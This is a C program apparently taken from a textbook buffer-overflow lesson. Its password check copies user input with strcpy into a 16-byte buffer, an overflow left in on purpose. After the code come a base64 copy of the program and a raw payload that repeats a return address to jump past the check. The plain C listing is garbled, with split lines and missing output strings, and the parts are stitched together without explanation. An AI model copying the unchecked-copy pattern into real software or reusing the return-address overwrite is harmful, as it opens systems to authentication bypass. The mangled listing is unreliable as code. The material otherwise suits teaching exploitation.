#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <alloca.h>
int check_authentication(char *password) {
char *password_buffer = alloca(16);
int *auth_flag = alloca(4);
*auth_flag = 0;
strcpy(password_buffer
, password
);
if(strcmp(password_buffer
, "brillig") == 0) *auth_flag = 1;
if(strcmp(password_buffer
, "outgrabe") == 0) *auth_flag = 1;
return *auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv
[0]); }
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else {
}
}
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5jbHVkZSA8YWxsb2NhLmg+CgppbnQgY2hlY2tfYXV0aGVudGljYXRpb24oY2hhciAqcGFzc3dvcmQpIHsKCWNoYXIgKnBhc3N3b3JkX2J1ZmZlciA9IGFsbG9jYSgxNik7CglpbnQgKmF1dGhfZmxhZyA9IGFsbG9jYSg0KTsKCSphdXRoX2ZsYWcgPSAwOwoKCXN0cmNweShwYXNzd29yZF9idWZmZXIsIHBhc3N3b3JkKTsKCglpZihzdHJjbXAocGFzc3dvcmRfYnVmZmVyLCAiYnJpbGxpZyIpID09IDApCgkJKmF1dGhfZmxhZyA9IDE7CglpZihzdHJjbXAocGFzc3dvcmRfYnVmZmVyLCAib3V0Z3JhYmUiKSA9PSAwKQoJCSphdXRoX2ZsYWcgPSAxOwoKCXJldHVybiAqYXV0aF9mbGFnOwp9CgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7CglpZihhcmdjIDwgMikgewoJCXByaW50ZigiVXNhZ2U6ICVzIDxwYXNzd29yZD5cbiIsIGFyZ3ZbMF0pOwoJCWV4aXQoMCk7Cgl9CglpZihjaGVja19hdXRoZW50aWNhdGlvbihhcmd2WzFdKSkgewoJCXByaW50ZigiXG4tPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS1cbiIpOwoJCXByaW50ZigiICAgICAgQWNjZXNzIEdyYW50ZWQuXG4iKTsKCQlwcmludGYoIi09LT0tPS09LT0tPS09LT0tPS09LT0tPS09LVxuIik7Cgl9IGVsc2UgewoJCXByaW50ZigiXG5BY2Nlc3MgRGVuaWVkLlxuIik7CiAgIH0KfQ==
JnF1b3Q7XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4XHhiNlx4ODVcMDRceDA4JnF1b3Q7
"\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08\xb6\x85\04\x08"